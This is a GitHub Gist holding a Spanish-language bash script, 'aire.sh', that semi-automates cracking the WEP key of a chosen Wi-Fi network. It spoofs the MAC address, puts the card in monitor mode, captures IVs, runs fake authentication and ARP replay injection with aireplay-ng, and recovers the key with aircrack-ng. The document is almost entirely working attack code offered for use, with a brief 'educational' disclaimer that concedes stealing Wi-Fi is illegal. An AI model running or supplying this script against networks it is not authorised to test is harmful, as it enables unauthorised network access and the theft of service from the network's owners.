Created
October 22, 2010 16:12
-
-
Save r00tw33d/640839 to your computer and use it in GitHub Desktop.
script para auditoría de Wifi
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# aire.sh | |
# Este script utiliza las siguientes herramientas: | |
# macchanger, aircrack-ng | |
# | |
# sudo apt-get install macchanger aircrack-ng | |
# | |
# Su finalidad es semi-automatizar el crackeo de WEP keys (únicamente WEP, no WPA) | |
# con una poca interveción del usuario | |
# | |
#####################################################################################. | |
# Disclaimer: # | |
# Este script está echo con fines educativos. Por favor, se conciente si # | |
# lo utilizas ;) # | |
# Robar Wi-Fi es ilegal. # | |
#####################################################################################. | |
function usage { | |
echo $'\n\tUso:' $0 '<interface> [ MA:CA:DD:RE:SS | --dont-fake ]' | |
echo $'\ti.e.\n\t\t ' $0 $'wlan0 --dont-fake\n' | |
echo $'\tor\t\t' $0 $'wlan0\n' | |
} | |
function probe_interface { | |
if [ -z `iwconfig 2>&1 | grep 802.11 | awk '{print $1}' | grep ^$1` ]; then | |
echo Se ha pedido por una interfaz no valida. Abortando... | |
exit | |
fi | |
} | |
function select_interface { | |
echo Buscando alternativas... | |
INTERFACES=`iwconfig 2>&1 | grep 802.11 | wc -l` | |
if [ "$INTERFACES" -gt 1 ]; then | |
echo $'Especifike un número de la lista:\n' | |
iwconfig 2>&1 | grep 802.11 | awk '{print "\t"NR ") " $1}' | |
echo | |
read IFACEID | |
REALIFACE=`iwconfig 2>&1 | grep 802.11 | awk '{print $1}' | head -n$IFACEID | tail -n1` | |
if [ -z "$REALIFACE" ]; then | |
exit | |
else | |
INTERFAZ=$REALIFACE | |
fi | |
else | |
INTERFAZ=`iwconfig 2>&1 | grep 802.11 | awk '{print $1}'` | |
fi | |
} | |
# Verificando interfaz de red | |
if [ -z "$1" ]; then | |
echo No se proporcionó interfaz de red. | |
select_interface | |
else | |
probe_interface $1 | |
if [ $RETVAL ]; then | |
exit | |
else | |
INTERFAZ=$1 | |
fi | |
fi | |
echo Trabajando con la interfaz $INTERFAZ... | |
# Comprobando permisos | |
if [ "$(id -u)" -eq 0 ]; then | |
# Verificando interfaz en modo Monitor | |
PROBE=`iwconfig 2>&1 | cat - | grep Monitor` | |
if [ -z "$PROBE" ]; then | |
echo 'Levantando interfaz modo Monitor...' | |
IFACE=`airmon-ng start $INTERFAZ | tail -n2 | awk '{print $5}' | sed s/\).*//g` | |
else | |
IFACE=`echo $PROBE | cut -d " " -f1` | |
fi | |
echo $IFACE '... interfaz configurada.' | |
# Configurando MAC address | |
if [ "$2" == "--dont-fake" ]; then | |
echo 'Conservando la MAC address actual...' | |
NEWMAC=`ifconfig $INTERFAZ | grep HW | awk '{print $5}'` | |
else | |
ifconfig $INTERFAZ down; ifconfig $IFACE down | |
if [ -z "$2" ]; then | |
echo 'Reestableciendo direcciones físicas...' | |
FALSA=`macchanger -A $INTERFAZ` | |
NEWMAC=`macchanger -a $INTERFAZ | grep Faked | awk '{print $3}'` | |
else | |
echo "Se usará $2 como dirección MAC" | |
RES=`macchanger -m $2 $INTERFAZ | grep Faked` | |
if [ -z "$RES" ]; then | |
echo 'No especificó una MAC address válida. Abortando.' | |
ifconfig $INTERFAZ up; ifconfig $IFACE up | |
exit | |
fi | |
NEWMAC=$2 | |
fi | |
macchanger -m $NEWMAC $IFACE | grep Faked | |
echo "Levantando interfaces de red...`ifconfig $INTERFAZ up;ifconfig $IFACE up`" | |
echo "Esperando 2 segundos..." && sleep 2 && echo done. | |
fi | |
echo "Escaneando las redes Wi-Fi..." | |
iwlist $INTERFAZ scann 2>&1 | grep -E Cell\|Quality\|ESSID\|Channel: > .info | |
cat .info | |
echo -n $'\nNumero de Célula [XX]: ' | |
read CELL | |
echo 'Preparando el atake...' | |
# Se calcula ke informacion corresponde a la celula | |
let HEAD=CELL*4 | |
cat .info | head -n$HEAD | tail -n4 > .target | |
# Se extraen los datos del target | |
BSSID=`cat .target | grep Address | awk '{print $5}'` | |
CHANNEL=`cat .target | grep Channel | sed s/.*://g` | |
ESSID=`cat .target | grep ESSID | sed s/.*://g | sed s/\"//g` | |
rm .info .target | |
echo 'Comenzando el almacenamiento de IVs en el canal $CHANNEL para\n$ESSID [$BSSID]' | |
# sub-shell para la captura de IVs | |
rm aire-tmp-* > /dev/null 2>&1 | |
(xterm -e airodump-ng --encrypt WEP -a --channel $CHANNEL --bssid $BSSID --write aire-tmp $IFACE &) | |
(while true; do | |
echo Esperando a sintonizar el canal... && sleep 2 && echo done. | |
echo $'Lanzando la falsa autenticacion...\n(presione ctrl+c sobre la ventana para cerrarla)' | |
(xterm -hold -e aireplay-ng --fakeauth=6000 -o 1 -q 10 -e $ESSID -a $BSSID -h $NEWMAC $IFACE &) | |
echo -n "Ha funcionado la falsa autenticacion? (Y/n) " | |
read RES | |
if [ $RES = 'Y' ]; then | |
exit | |
fi | |
echo -n "Se necesita de una MAC autorizada [aa:bb:cc:dd:ee:ff]: " | |
read NEWMAC | |
if [ -z "$NEWMAC" ]; then | |
continue | |
fi | |
echo 'Reiniciando la interfaz con nueva MAC...' | |
ifconfig $IFACE down | |
RES=`macchanger -m $NEWMAC $IFACE | grep Faked` | |
if [ -z "$RES" ]; then | |
echo 'No especificó una MAC address válida. Configurando con cualkier otra.' | |
NEWMAC=`macchanger -a $IFACE | grep Faked | awk '{print $3}'` | |
fi | |
echo "Esperando dos segundos..." && sleep 2 && ifconfig $IFACE up | |
echo 'Reiniciando airodump-ng...' | |
killall airodump-ng && rm aire-tmp-* | |
(xterm -e airodump-ng --encrypt WEP -a --channel $CHANNEL --bssid $BSSID --write aire-tmp $IFACE &) | |
done) | |
echo 'Comenzando a inyectar paketes...' | |
(xterm -hold -e aireplay-ng --arpreplay -e $ESSID -b $BSSID -h $NEWMAC $IFACE &) | |
echo 'Presione enter cuando hayan suficientes IVs' | |
read ENTER | |
echo 'Lanzando el atake del Kraken }=:^{}<<' && sleep 2 | |
CRACKFILE=`ls | grep aire-tmp-0*.cap | tail -n1` | |
aircrack-ng $CRACKFILE | strings 2>&1 | egrep Tested\|Fail\|FOUND | |
echo 'Borrar archivos temporales? (y/n)' | |
read RES | |
if [ $RES = 'y' ]; then | |
rm aire-tmp-* replay_arp*.cap cracken.tmp | |
fi | |
echo 'Matando procesos =) ...' | |
killall xterm | |
echo 'Terminando la interfaz en modo promiscuo' | |
airmon-ng stop $IFACE | |
echo Travesura realizada. xD | |
else | |
echo Aborting. Are u r00t? | |
fi |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Este codigo no se actualizará mas. Se creó un repositorio público en https://github.com/r00tw33d/Aire